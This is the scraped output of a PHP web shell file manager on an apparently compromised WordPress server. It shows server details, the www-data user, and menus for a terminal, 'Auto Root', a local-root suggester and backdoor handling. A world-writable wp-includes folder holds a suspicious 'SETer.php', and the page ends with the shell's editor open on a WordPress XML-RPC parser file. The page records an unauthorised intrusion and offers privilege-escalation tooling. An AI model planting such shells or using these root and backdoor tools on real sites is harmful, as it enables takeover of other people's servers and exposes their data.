Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.1.1 & Your IP : 3.133.83.123
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
theprintave /
wp-includes /
blocks /
nextpage /
Delete
Unzip
Name
Size
Permission
Date
Action
Requests.php
261
B
-rwxrwxrwx
2022-12-19 15:12
SETer.php
166.01
KB
-rwxrwxrwx
2025-03-30 05:28
admin-bar.php
36.24
KB
-rwxrwxrwx
2025-05-09 07:39
annotations.min-20250514003419.js
5.39
KB
-rwxrwxrwx
2024-07-16 17:55
atomlib.php
11.79
KB
-rwxrwxrwx
2024-11-13 12:36
autoloader-20250515033215.php
3.92
KB
-rwxrwxrwx
2024-11-13 12:36
autoloader.php
3.92
KB
-rwxrwxrwx
2024-11-13 12:36
block-bindings.php
5.46
KB
-rwxrwxrwx
2024-07-16 17:55
block.json
509
B
-rwxrwxrwx
2024-04-03 05:49
blocks-20250514003832.js
554.02
KB
-rwxrwxrwx
2025-04-15 17:44
button.php
1.76
KB
-rwxrwxrwx
2024-07-16 17:55
cache-compat.php
5.83
KB
-rwxrwxrwx
2022-10-10 18:22
capabilities.php
41.72
KB
-rwxrwxrwx
2024-11-13 12:36
class-IXR-message.php
8
KB
-rwxrwxrwx
2024-11-13 12:36
class-IXR.php
2.55
KB
-rwxrwxrwx
2025-04-15 17:44
class-json.php
42.66
KB
-rwxrwxrwx
2023-02-03 13:35
class-oembed.php
401
B
-rwxrwxrwx
2022-06-17 11:20
class-simplepie.php
453
B
-rwxrwxrwx
2024-11-13 12:36
class-wp-hook.php
15.63
KB
-rwxrwxrwx
2023-09-18 12:41
class-wp-network.php
12.01
KB
-rwxrwxrwx
2024-11-13 12:36
class-wp-user.php
22.46
KB
-rwxrwxrwx
2025-04-15 17:44
class-wp.php
25.7
KB
-rwxrwxrwx
2025-04-15 17:44
class.wp-styles-20250514173631.php
338
B
-rwxrwxrwx
2022-09-20 14:17
class.wp-styles.php
338
B
-rwxrwxrwx
2022-09-20 14:17
comment-date.php
1.82
KB
-rwxrwxrwx
2024-11-13 12:36
comments-pagination.php
1.17
KB
-rwxrwxrwx
2024-07-16 17:55
comments-title.php
2.71
KB
-rwxrwxrwx
2024-07-16 17:55
comments.php
6.61
KB
-rwxrwxrwx
2024-07-16 17:55
customize-loader.min-20250513213733.js
3.47
KB
-rwxrwxrwx
2023-02-02 16:36
customize-views.min.js
2.39
KB
-rwxrwxrwx
2021-01-06 15:29
data.min.js
25
KB
-rwxrwxrwx
2025-04-15 17:44
default-widgets.php
2.24
KB
-rwxrwxrwx
2025-04-15 17:44
duotone.php
2.67
KB
-rwxrwxrwx
2024-07-16 17:55
edit-post.js
120.43
KB
-rwxrwxrwx
2025-04-30 17:44
edit-site.min.js
626.11
KB
-rwxrwxrwx
2025-04-15 17:44
editor-rtl.css
673
B
-rwxrwxrwx
2023-03-09 00:05
editor-rtl.min.css
592
B
-rwxrwxrwx
2023-03-09 00:05
editor.css
673
B
-rwxrwxrwx
2023-03-09 00:05
editor.min.css
592
B
-rwxrwxrwx
2023-03-09 00:05
element.min.js
11.69
KB
-rwxrwxrwx
2025-04-15 17:44
elements.php
8.46
KB
-rwxrwxrwx
2024-07-16 17:55
embed-404.php
967
B
-rwxrwxrwx
2022-03-22 16:25
error-protection.php
4.02
KB
-rwxrwxrwx
2023-05-02 15:45
feed-atom-comments.php
5.38
KB
-rwxrwxrwx
2024-04-03 05:49
gallery.php
6.29
KB
-rwxrwxrwx
2024-07-16 17:55
getid3.php
79.1
KB
-rwxrwxrwx
2024-04-03 05:49
http.php
24.72
KB
-rwxrwxrwx
2025-05-09 07:39
jquery.Jcrop.min.js
22.06
KB
-rwxrwxrwx
2022-03-24 20:07
legacy-widget-20250514173619.php
3.9
KB
-rwxrwxrwx
2024-07-16 17:55
ms-network.php
3.69
KB
-rwxrwxrwx
2023-05-02 11:26
nav-menu.php
43.33
KB
-rwxrwxrwx
2025-05-09 07:39
navigation.php
48.46
KB
-rwxrwxrwx
2025-04-15 17:44
notices.js
21.47
KB
-rwxrwxrwx
2025-04-15 17:44
pattern.php
1.75
KB
-rwxrwxrwx
2025-04-15 17:44
plugin.php
34.74
KB
-rwxrwxrwx
2024-07-16 17:55
plupload-20250514002206.js
58.9
KB
-rwxrwxrwx
2019-11-03 17:09
post-content.php
2.11
KB
-rwxrwxrwx
2024-07-16 17:55
post-date.php
3.05
KB
-rwxrwxrwx
2024-11-13 12:36
post-excerpt.php
3.37
KB
-rwxrwxrwx
2024-07-16 17:55
private-apis-20250514002209.js
8.3
KB
-rwxrwxrwx
2025-04-15 17:44
robots-template-20250514074748.php
5.06
KB
-rwxrwxrwx
2022-04-06 15:33
rss.php
3.98
KB
-rwxrwxrwx
2025-04-15 17:44
site-title.php
1.81
KB
-rwxrwxrwx
2025-04-15 17:44
speculative-loading-20250514075900.php
8.36
KB
-rwxrwxrwx
2025-04-15 17:44
spl-autoload-compat.php
441
B
-rwxrwxrwx
2020-11-12 11:17
style-engine.php
7.39
KB
-rwxrwxrwx
2025-05-09 07:39
template-part.php
9.92
KB
-rwxrwxrwx
2025-04-15 17:44
term-description.php
1.3
KB
-rwxrwxrwx
2024-07-16 17:55
user.php
171.7
KB
-rwxrwxrwx
2025-05-09 07:39
widget-group.php
2.38
KB
-rwxrwxrwx
2024-07-16 17:55
widgets.min-20250514003222.js
19.56
KB
-rwxrwxrwx
2025-04-15 17:44
wp-backbone.min.js
2.97
KB
-rwxrwxrwx
2022-04-08 20:07
wp-db.php
445
B
-rwxrwxrwx
2022-07-21 22:45
Save
Rename
<?php /** * IXR_MESSAGE * * @package IXR * @since 1.5.0 * */ class IXR_Message { var $message = false; var $messageType = false; // methodCall / methodResponse / fault var $faultCode = false; var $faultString = false; var $methodName = ''; var $params = array(); // Current variable stacks var $_arraystructs = array(); // The stack used to keep track of the current array/struct var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array var $_currentStructName = array(); // A stack as well var $_param; var $_value; var $_currentTag; var $_currentTagContents; // The XML parser var $_parser; /** * PHP5 constructor. */ function __construct( $message ) { $this->message =& $message; } /** * PHP4 constructor. */ public function IXR_Message( $message ) { self::__construct( $message ); } function parse() { if ( ! function_exists( 'xml_parser_create' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } // first remove the XML declaration // merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages $header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 100 ) ); if ( '' == $this->message ) { return false; } // Then remove the DOCTYPE $header = preg_replace( '/^<!DOCTYPE[^>]*+>/i', '', substr( $this->message, 0, 200 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 200 ) ); if ( '' == $this->message ) { return false; } // Check that the root tag is valid $root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) ); if ( '<!DOCTYPE' === strtoupper( $root_tag ) ) { return false; } if ( ! in_array( $root_tag, array( '<methodCall', '<methodResponse', '<fault' ) ) ) { return false; } // Bail if there are too many elements to parse $element_limit = 30000; if ( function_exists( 'apply_filters' ) ) { /** * Filters the number of elements to parse in an XML-RPC response. * * @since 4.0.0 * * @param int $element_limit Default elements limit. */ $element_limit = apply_filters( 'xmlrpc_element_limit', $element_limit ); } if ( $element_limit && 2 * $element_limit < substr_count( $this->message, '<' ) ) { return false; } $this->_parser = xml_parser_create(); // Set XML parser to take the case of tags in to account xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false); // Set XML parser callback functions xml_set_element_handler($this->_parser, array($this, 'tag_open'), array($this, 'tag_close')); xml_set_character_data_handler($this->_parser, array($this, 'cdata')); // 256Kb, parse in chunks to avoid the RAM usage on very large messages $chunk_size = 262144; /** * Filters the chunk size that can be used to parse an XML-RPC response message. * * @since 4.4.0 * * @param int $chunk_size Chunk size to parse in bytes. */ $chunk_size = apply_filters( 'xmlrpc_chunk_parsing_size', $chunk_size ); $final = false; do { if (strlen($this->message) <= $chunk_size) { $final = true; } $part = substr($this->message, 0, $chunk_size); $this->message = substr($this->message, $chunk_size); if (!xml_parse($this->_parser, $part, $final)) { xml_parser_free($this->_parser); unset($this->_parser); return false; } if ($final) { break; } } while (true); xml_parser_free($this->_parser); unset($this->_parser); // Grab the error messages, if any if ($this->messageType == 'fault') { $this->faultCode = $this->params[0]['faultCode']; $this->faultString = $this->params[0]['faultString']; } return true; } function tag_open($parser, $tag, $attr) { $this->_currentTagContents = ''; $this->_currentTag = $tag; switch($tag) { case 'methodCall': case 'methodResponse': case 'fault': $this->messageType = $tag; break; /* Deal with stacks of arrays and structs */ case 'data': // data is to all intents and puposes more interesting than array $this->_arraystructstypes[] = 'array'; $this->_arraystructs[] = array(); break; case 'struct': $this->_arraystructstypes[] = 'struct'; $this->_arraystructs[] = array(); break; } } function cdata($parser, $cdata) { $this->_currentTagContents .= $cdata; } function tag_close($parser, $tag) { $valueFlag = false; switch($tag) { case 'int': case 'i4': $value = (int)trim($this->_currentTagContents); $valueFlag = true; break; case 'double': $value = (double)trim($this->_currentTagContents); $valueFlag = true; break; case 'string': $value = (string)trim($this->_currentTagContents); $valueFlag = true; break; case 'dateTime.iso8601': $value = new IXR_Date(trim($this->_currentTagContents)); $valueFlag = true; break; case 'value': // "If no type is indicated, the type is string." if (trim($this->_currentTagContents) != '') { $value = (string)$this->_currentTagContents; $valueFlag = true; } break; case 'boolean': $value = (boolean)trim($this->_currentTagContents); $valueFlag = true; break; case 'base64': $value = base64_decode($this->_currentTagContents); $valueFlag = true; break; /* Deal with stacks of arrays and structs */ case 'data': case 'struct': $value = array_pop($this->_arraystructs); array_pop($this->_arraystructstypes); $valueFlag = true; break; case 'member': array_pop($this->_currentStructName); break; case 'name': $this->_currentStructName[] = trim($this->_currentTagContents); break; case 'methodName': $this->methodName = trim($this->_currentTagContents); break; } if ($valueFlag) { if (count($this->_arraystructs) > 0) { // Add value to struct or array if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') { // Add to struct $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value; } else { // Add to array $this->_arraystructs[count($this->_arraystructs)-1][] = $value; } } else { // Just add as a parameter $this->params[] = $value; } } $this->_currentTagContents = ''; } }